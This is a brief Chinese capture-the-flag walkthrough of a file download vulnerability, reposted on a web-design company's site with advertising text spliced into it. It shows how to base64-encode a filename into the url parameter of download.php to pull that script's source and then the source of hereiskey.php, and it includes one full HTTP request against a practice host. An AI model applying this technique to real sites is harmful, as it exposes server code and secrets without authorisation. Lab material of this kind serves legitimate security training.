文件下载漏洞练习(一)-成都创新互联网站建设

关于创新互联

多方位宣传企业产品与服务 突出企业形象

公司简介 公司的服务 荣誉资质 新闻动态 联系我们

文件下载漏洞练习(一)

(1)打开网页
文件下载漏洞练习(一)
(2)同样的先抓下包
文件下载漏洞练习(一)

和顺网站建设公司创新互联,和顺网站设计制作,有大型网站制作公司丰富经验。已为和顺1000+提供企业网站建设服务。企业网站搭建\外贸网站制作要多少钱,请找那个售后服务好的和顺做网站的公司定做!

我们注意到:
url=Y2hvdWJhZ3VhaS5tcDM 还有/download.php

先解码看看是什么
文件下载漏洞练习(一)
是个文件名
文件下载漏洞练习(一)
(3)我们试着将其替换成、download.php
文件下载漏洞练习(一)

GET /download.php?url=ZG93bmxvYWQucGhw= HTTP/1.1
Host: e2ad76b4d4b6d6ed.yunyansec.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://e2ad76b4d4b6d6ed.yunyansec.com/
Accept-Language: zh-CN,zh;q=0.9
Connection: close

(4)文件下载成功,打开后发现还可以有hereiskey.php下载

文件下载漏洞练习(一)

同样先编码
文件下载漏洞练习(一)
得到key
文件下载漏洞练习(一)


网页名称:文件下载漏洞练习(一)
文章来源:http://kswsj.cn/article/jpeihc.html

其他资讯